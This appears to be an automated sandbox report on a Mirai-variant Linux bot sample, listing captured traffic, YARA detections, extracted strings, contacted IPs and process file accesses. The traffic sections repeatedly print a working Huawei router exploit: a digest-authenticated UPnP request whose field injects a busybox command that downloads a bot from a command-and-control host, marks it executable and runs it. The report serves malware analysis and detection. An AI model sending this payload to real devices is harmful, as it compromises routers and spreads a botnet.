70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: /tmp/nullnet_load.mips.elf (PID: 5564)

Socket: 127.0.0.1:61420

Jump to behavior

Source: unknown	TCP traffic detected without corresponding DNS query: 19.212.23.128
Source: unknown	TCP traffic detected without corresponding DNS query: 180.89.225.190
Source: unknown	TCP traffic detected without corresponding DNS query: 173.42.154.129
Source: unknown	TCP traffic detected without corresponding DNS query: 146.184.36.238
Source: unknown	TCP traffic detected without corresponding DNS query: 82.233.136.38
Source: unknown	TCP traffic detected without corresponding DNS query: 77.222.124.20
Source: unknown	TCP traffic detected without corresponding DNS query: 200.122.147.32
Source: unknown	TCP traffic detected without corresponding DNS query: 104.59.145.38
Source: unknown	TCP traffic detected without corresponding DNS query: 174.169.170.73
Source: unknown	TCP traffic detected without corresponding DNS query: 73.195.214.90
Source: unknown	TCP traffic detected without corresponding DNS query: 67.206.244.155
Source: unknown	TCP traffic detected without corresponding DNS query: 150.56.169.84
Source: unknown	TCP traffic detected without corresponding DNS query: 209.129.129.97
Source: unknown	TCP traffic detected without corresponding DNS query: 95.7.203.251
Source: unknown	TCP traffic detected without corresponding DNS query: 212.140.253.155
Source: unknown	TCP traffic detected without corresponding DNS query: 98.111.58.225
Source: unknown	TCP traffic detected without corresponding DNS query: 80.166.40.152
Source: unknown	TCP traffic detected without corresponding DNS query: 36.181.35.174
Source: unknown	TCP traffic detected without corresponding DNS query: 65.161.59.74
Source: unknown	TCP traffic detected without corresponding DNS query: 152.183.125.215
Source: unknown	TCP traffic detected without corresponding DNS query: 174.11.30.87
Source: unknown	TCP traffic detected without corresponding DNS query: 104.120.197.44
Source: unknown	TCP traffic detected without corresponding DNS query: 35.78.69.180
Source: unknown	TCP traffic detected without corresponding DNS query: 198.175.87.210
Source: unknown	TCP traffic detected without corresponding DNS query: 220.94.249.244
Source: unknown	TCP traffic detected without corresponding DNS query: 124.151.144.57
Source: unknown	TCP traffic detected without corresponding DNS query: 124.217.5.131
Source: unknown	TCP traffic detected without corresponding DNS query: 12.80.90.209
Source: unknown	TCP traffic detected without corresponding DNS query: 209.9.141.12
Source: unknown	TCP traffic detected without corresponding DNS query: 99.99.197.97
Source: unknown	TCP traffic detected without corresponding DNS query: 76.244.142.178
Source: unknown	TCP traffic detected without corresponding DNS query: 208.146.14.98
Source: unknown	TCP traffic detected without corresponding DNS query: 153.84.54.160
Source: unknown	TCP traffic detected without corresponding DNS query: 4.190.209.79
Source: unknown	TCP traffic detected without corresponding DNS query: 148.109.114.29
Source: unknown	TCP traffic detected without corresponding DNS query: 107.237.69.15
Source: unknown	TCP traffic detected without corresponding DNS query: 95.34.63.61
Source: unknown	TCP traffic detected without corresponding DNS query: 125.6.47.19
Source: unknown	TCP traffic detected without corresponding DNS query: 149.198.132.209
Source: unknown	TCP traffic detected without corresponding DNS query: 164.104.163.42
Source: unknown	TCP traffic detected without corresponding DNS query: 168.146.104.161
Source: unknown	TCP traffic detected without corresponding DNS query: 196.125.41.89
Source: unknown	TCP traffic detected without corresponding DNS query: 2.208.17.18
Source: unknown	TCP traffic detected without corresponding DNS query: 58.242.158.172
Source: unknown	TCP traffic detected without corresponding DNS query: 36.203.78.30
Source: unknown	TCP traffic detected without corresponding DNS query: 66.67.58.9
Source: unknown	TCP traffic detected without corresponding DNS query: 79.182.16.153
Source: unknown	TCP traffic detected without corresponding DNS query: 72.37.180.64
Source: unknown	TCP traffic detected without corresponding DNS query: 18.30.246.16
Source: unknown	TCP traffic detected without corresponding DNS query: 66.43.145.95

Source: global traffic

DNS traffic detected: DNS query: cnc.ghtyuio.online

Source: unknown

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: nullnet_load.mips.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: nullnet_load.mips.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

System Summary

Malicious sample detected (through community Yara rule)

Source: nullnet_load.mips.elf, type: SAMPLE	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5571.1.00007f0fdc400000.00007f0fdc41a000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5564.1.00007f0fdc400000.00007f0fdc41a000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5567.1.00007f0fdc400000.00007f0fdc41a000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: /bin/busybox ECCHI
Source: Initial sample	String containing 'busybox' found: ..:: Nullnet Network ::..This device is already on Nullnet Networkcnc.ghtyuio.online/proc//exe/fd/maps/proc/net/tcpUPX!sysupdaterKILLATTKBOGOMIPSpandoraMercurycrsfiahsokRootedREKAImioriMASUTAGhostWuzHere666CoronaloliganglolxdNiGGeR69xdnucleardvrHelperyakuzaUnHAnaAWAreslessie.HilixReaper.AlexsoraAmakanorzrnyamezyzhrlzrdGummyMoziYakuzadaddyl33t.un5Demon.Okami/dev/watchdog/dev/misc/watchdog/dev/FTWDT101_watchdog/dev/FTWDT101\ watchdogshellenablesystemsh/bin/busybox ECCHIECCHI: applet not foundncorrectasswordoginenter/etc/resolv.confnameserverConnection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.8Content-Type: application/x-www-form-urlencodedsetCookie('refresh:location:set-cookie:content-length:transfer-encoding:chunkedkeep-aliveconnection:server: dosarrestserver: cloudflare-nginxHTTP/1.1User-Agent:Host:Cookie:httpurl=POSTMozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.

Source: ELF static info symbol of initial sample

.symtab present: no

Source: nullnet_load.mips.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5571.1.00007f0fdc400000.00007f0fdc41a000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5564.1.00007f0fdc400000.00007f0fdc41a000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5567.1.00007f0fdc400000.00007f0fdc41a000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research

Source: classification engine

Classification label: mal88.troj.linELF@0/0@10/0

Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/2672/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/1583/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/3120/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/1577/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/1610/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/512/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/1299/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/3235/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/514/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/519/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/2946/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/917/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/3134/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/1593/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/3011/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/3094/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/2955/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/1589/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/3129/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/1588/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/3125/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/767/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/800/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/888/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/801/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/769/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/803/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/806/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/807/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/928/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/2956/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/490/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/3142/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/1635/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/1633/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/1599/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/3139/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/1873/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/1630/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/657/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/658/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/659/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/418/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/419/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/1639/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/1638/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/1371/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/780/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/660/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/661/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/782/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/1369/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/785/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/1642/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/940/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/941/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/1640/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/3147/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/1364/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/548/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/1647/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/2991/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/1383/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/1382/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/1381/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/791/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/671/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/794/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/1655/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/795/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/674/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/1653/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/797/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/2983/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/3159/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/678/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/1650/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/3157/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/679/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/1659/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/3178/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/1394/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/3172/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/3171/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/2999/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/683/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/3207/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/684/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/2997/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/1300/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/1661/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/725/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/726/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/1309/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/2517/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/3189/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/1560/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/3188/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/3187/maps	Jump to behavior
Source: /tmp/nullnet_load.mips.elf (PID: 5572)	File opened: /proc/3184/maps	Jump to behavior
